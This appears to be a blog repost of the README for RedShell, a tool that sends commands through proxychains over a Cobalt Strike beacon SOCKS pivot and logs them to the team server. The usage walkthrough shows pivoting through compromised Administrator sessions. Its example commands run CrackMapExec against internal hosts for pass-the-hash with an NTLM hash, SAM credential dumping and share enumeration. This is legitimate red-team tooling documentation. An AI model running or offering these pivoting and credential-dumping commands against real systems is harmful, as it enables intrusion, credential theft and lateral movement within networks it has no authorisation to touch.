System Administration

RedShell – Execute commands through proxychains and log them on a Cobalt Strike server

November 28, 2020
5 Min Read
RedShell - An interactive command prompt that executes commands through proxychains and automatically logs them on a Cobalt Strike team server

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An interactive command prompt that executes commands through proxychains and automatically logs them on a Cobalt Strike team server.

Installation

RedShell runs on Python 3. It also requires a Cobalt Strike client installed on the system where it runs.

Install dependencies:

pip3 install -r requirements.txt

Install proxychains-ng (https://github.com/rofl0r/proxychains-ng):

apt install proxychains4

Make the agscript wrapper executable:

chmod +x agscript.sh

Usage

Start a socks listener on a beacon in your Cobalt Strike client.

Start RedShell:

$ python3 redshell.py
____ _______ __ ____
/ __ ___ ____/ / ___// /_ ___ / / /
/ /_/ / _ / __ /__ / __ / _ / / /
/ _, _/ __/ /_/ /___/ / / / / __/ / /
/_/ |_|___/__,_//____/_/ /_/___/_/_/

RedShell>

Display help:
RedShell> help
Documented commands (use 'help -v' for verbose/'help <topic>' for details):
===========================================================================
beacon_exec connect help pwd shell use_pivot
cd disconnect history quit show_pivots
config exit load_config set status

Set options:
RedShell> set option VALUE

Connecting to Cobalt Strike
Set Cobalt Strike connection options:

RedShell> set cs_host 127.0.0.1
RedShell> set cs_port 50050
RedShell> set cs_user somedude

Connect to team server (you will be prompted for the team server password):

RedShell> connect 
Enter Cobalt Strike password:
Connecting...
╔═══════════════════════╤═══════════════════════════════════════════════════════╗
║ CS team server status │ Connected via [email protected]:50050       ║
╟───────────────────────┼───────────────────────────────────────────────────────╢
║ Socks port status     │ Disconnected                                          ║
╚═══════════════════════╧═══════════════════════════════════════════════════════╝

Or load from a config file. Note: team server passwords are not read from config files. Redshell will prompt for the teamserver password and then automatically connect.

$ cat config.txt 
cs_host=127.0.0.1
cs_port=12345
cs_user=somedude

RedShell> load_config config.txt
Config applied:              
╔════════════════════════════╤═══════════════════════════════════════════════════════╗
║ Redshell install directory │ /opt/redshell                                         ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ Proxychains config         │ /opt/redshell/proxychains_redshell.conf               ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ CS install directory       │ /opt/cobaltstrike                                     ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ CS team server             │ 127.0.0.1                                             ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ CS team server port        │ 50050                                                 ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ CS user                    │ somedude_redshell                                     ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ Socks port                 │                                                       ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ Beacon PID                 │                                                       ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ Password                   │                                                       ║
╚════════════════════════════╧═══════════════════════════════════════════════════════╝
Enter Cobalt Strike password:
╔═══════════════════════╤═══════════════════════════════════════════════════════╗
║ CS team server status │ Connected via [email protected]:50050 ║
╟───────────────────────┼───────────────────────────────────────────────────────╢
║ Socks port status │ Disconnected ║
╚═══════════════════════╧═══════════════════════════════════════════════════════╝

Show available proxy pivots:

RedShell> show_pivots 
╔═════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ ID     Alive   Socks Port    PID         User                       Computer                   Last         ║
╠═════════════════════════════════════════════════════════════════════════════════════════════════════════════╣
║ 1      True    22200         8948        Administrator *            WS02                       16ms         ║
╟─────────────────────────────────────────────────────────────────────────────────────────────────────────────╢
║ 2      True    54212         7224        Administrator *            WS03                       39ms         ║
╚═════════════════════════════════════════════════════════════════════════════════════════════════════════════╝

Select a proxy pivot (note: this can only be set after a connection to the team server has been established):

RedShell> use_pivot 2
╔═══════════════════════╤════════════════════════════════════════════════════════════╗
║ CS team server status │ Connected via [email protected]:50050 ║
╟───────────────────────┼────────────────────────────────────────────────────────────╢
║ Socks port status │ Connected via socks port 54212 @ beacon PID 7224 ║
╚═══════════════════════╧════════════════════════════════════════════════════════════╝

Check config

RedShell> config 
╔════════════════════════════╤═══════════════════════════════════════════════════════╗
║ Redshell install directory │ /opt/redshell ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ Proxychains config │ /opt/redshell/proxychains_redshell.conf ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ CS install directory │ /opt/cobaltstrike ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ CS team server │ 127.0.0.1 ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ CS team server port │ 50050 ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ CS user │ somedude_redshell ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ Socks port │ ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ Beacon PID │ ║
╟────────────────────────────┼───────────────────────────────────────────────────────╢
║ Password │ ║
╚════════════════════════════╧═══════════════════════════════════════════════════════╝

Check status:

RedShell> status
╔═══════════════════════╤════════════════════════════════════════════════════════════╗
║ CS team server status │ Connected via [email protected]:50050 ║
╟───────────────────────┼────────────────────────────────────────────────────────────╢
║ Socks port status │ Connected via socks port 54212 @ beacon PID 7224 ║
╚═══════════════════════╧════════════════════════════════════════════════════════════╝
Execute commands through the beacon socks proxy. These can be run in the context of the current user or via sudo. Specifying 'proxychains' in the command is optional. Commands are forced through proxychains. MITRE ATT&CK Tactic IDs are optional. Including
RedShell> beacon_exec -h
usage: beacon_exec [-h] [-t TTP] ...
Execute a command through proxychains/beacon socks proxy and simultaneously log it to the teamserver.
positional arguments:
command Command to execute through the proxy.
optional arguments:
-h, --help show this help message and exit
-t TTP, --ttp TTP MITRE ATT&CK Tactic IDs. Comma delimited to specify multiple.
example:
beacon_exec -t T1003,T1075 cme smb --local-auth -u Administrator -H C713B1D611657D0687A568122193F230 --sam 192.168.1.1
RedShell> beacon_exec cme smb 192.168.1.14
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:48199  ...  192.168.1.14:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:48199  ...  192.168.1.14:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:48199  ...  192.168.1.14:445  ...  OK
SMB         192.168.1.14    445    TESTNET-DC1      [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:TESTNET-DC1) (domain:TESTNET) (signing:True) (SMBv1:True)

Note on passwords used in beacon_exec commands – special characters in passwords may be interpreted as shell meta characters, which could cause commands to fail. To get around this, set the password option and then invoke with ‘$password’. Example:

RedShell> set password Test12345
password - was: ''
now: 'Test12345'
RedShell> beacon_exec cme smb --local-auth -u administrator -p $password --shares 192.168.1.14

Note on the Redshell and CS install directory options – the script needs to know where it lives, as well as Cobalt Strike. If stuff blows up, be sure to set the directories accordingly:

RedShell> set redshell_directory /opt/redshell
RedShell> set cs_directory /opt/cobaltstrike

General Features
RedShell includes commands for navigating the file system:

RedShell> cd /opt/redshell/
RedShell> pwd
/opt/redshell

Additional commands can be run via the shell command or via the ‘!’ shortcut:

RedShell> shell date
Mon 29 Jul 2019 05:33:02 PM MDT
RedShell> !date
Mon 29 Jul 2019 05:33:03 PM MDT

Commands are tracked and accessible via the history command:

RedShell> history 
    1  load_config config.txt
    2  status
    3  help

RedShell also includes tab-completion and clearing the terminal window via ctrl + l.
Maintainers

 


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